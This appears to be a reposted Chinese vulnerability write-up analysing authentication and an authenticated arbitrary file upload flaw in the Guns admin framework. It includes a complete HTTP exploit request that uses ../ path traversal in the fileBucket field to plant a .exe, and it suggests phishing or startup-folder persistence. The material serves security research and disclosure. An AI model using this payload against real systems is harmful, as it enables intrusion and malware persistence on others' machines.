Guns后台任意文件上传漏洞分析

admin 2024年12月30日13:12:02评论28 views字数 2351阅读7分50秒阅读模式

下载地址:主项目:https://gitee.com/stylefeng/guns核心包:https://gitee.com/stylefeng/roses

分析认证逻辑

找个正常的接口访问,发现没有自定义filter

Guns后台任意文件上传漏洞分析

我们大概看一下spring的filter执行流程是咋样的,可以看到这里有6个filter,但是从上面的堆栈图可以看出,有些filter执行的是他父类的doFilterInternal方法、父类的doFilter方法,

Guns后台任意文件上传漏洞分析

本来以为是实现了WebSecurityConfigurerAdapter接口,结果并没有,发现此系统是实现了HandlerInterceptor接口进行权限认证的,分析TokenAndPermissionInterceptor拦截器,这里使用getRequestURI()后,就开始匹配路由是否被拦截,

Guns后台任意文件上传漏洞分析

这里是不拦截的路由,

Guns后台任意文件上传漏洞分析

之后判断如果存在token,就会验证token是否有效,无效则报错,

Guns后台任意文件上传漏洞分析

如果不存在token,就在resourceServiceApi中查找路由资源,并判断访问的路由是否需要权限验证,

Guns后台任意文件上传漏洞分析

权限绕过思路:白名单路由可以用../绕过,不过最后还是会被spring拦住,(这里可以用%2e%2e绕过,不过存在tomcat环境,直接报错)

Guns后台任意文件上传漏洞分析

jwt不是硬编码在本地的,秘钥没有通用性,伪造token不行,resourceServiceApi会调用到以下函数,resourcecache存在一些接口资源,可以访问一些未授权的接口,

Guns后台任意文件上传漏洞分析

在resourcecache中的接口,利用@GetResource注释设置了requiredLogin = false,就不需要认证,

Guns后台任意文件上传漏洞分析

分析这些未授权接口后,没有一个接口有洞,就很尴尬,,,

任意文件上传

这里可以任意文件上传,不管更改fileBucket或者filename,总会用fieldid拼接文件路径,因此可以控制文件名,那么文件夹就是fieldid,如果控制文件夹,那么文件名就是fieldid.后缀,

如以下数据包,任意文件上传,不过文件名不可控,

POST/api/sysFileInfo/uploadHTTP/1.1Host:192.168.91.130:9000User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:127.0)Gecko/20100101Firefox/127.0Accept:application/json,text/plain,*/*Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding:gzip,deflateReferer:http://192.168.91.1:9000/system/structure/userAuthorization:eyJhbGciOiJIUzUxMiJ9.eyJ1c2VySWQiOjEzMzk1NTA0Njc5Mzk2MzkyOTksImFjY291bnQiOiJhZG1pbiIsInV1aWQiOiI1NmQzZjczNy1hNjU1LTRjYzgtODRkNi0xNDdjYTE1M2Y5OGIiLCJyZW1lbWJlck1lIjpmYWxzZSwiZXhwaXJhdGlvbkRhdGUiOjE3MzUxMDM0MDM0ODgsImNhVG9rZW4iOm51bGwsIm90aGVycyI6bnVsbCwic3ViIjoiMTMzOTU1MDQ2NzkzOTYzOTI5OSIsImlhdCI6MTczNDQ5ODYwMywiZXhwIjoxNzM1MTAzNDAzfQ.Ur3bUwltSXWUtIT1OOR4MV4frJeRy_MDEkmYg99F5L2DOx6C4ha_y476dTWMy7gAJZsq5x_2C_VEkWxWv7uHXwContent-Type:multipart/form-data;boundary=---------------------------4047569836919132683218702Content-Length:510Origin:http://192.168.91.130:9000Connection:close-----------------------------4047569836919132683218702Content-Disposition:form-data;name="file";filename=".exe"Content-Type:image/png1111-----------------------------4047569836919132683218702Content-Disposition:form-data;name="secretFlag"N-----------------------------4047569836919132683218702Content-Disposition:form-data;name="fileBucket"../../../../../../../../../../../../../../../../../../看到请点击exe备份-----------------------------4047569836919132683218702--
Guns后台任意文件上传漏洞分析

可以用在钓鱼,如果项目在c盘,可以放到启动项中,这里可以看到是在哪个盘,

Guns后台任意文件上传漏洞分析

来源:https://xz.aliyun.com/  感谢【tj】

原文始发于微信公众号(船山信安):Guns后台任意文件上传漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月30日13:12:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Guns后台任意文件上传漏洞分析https://cn-sec.com/archives/3570143.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息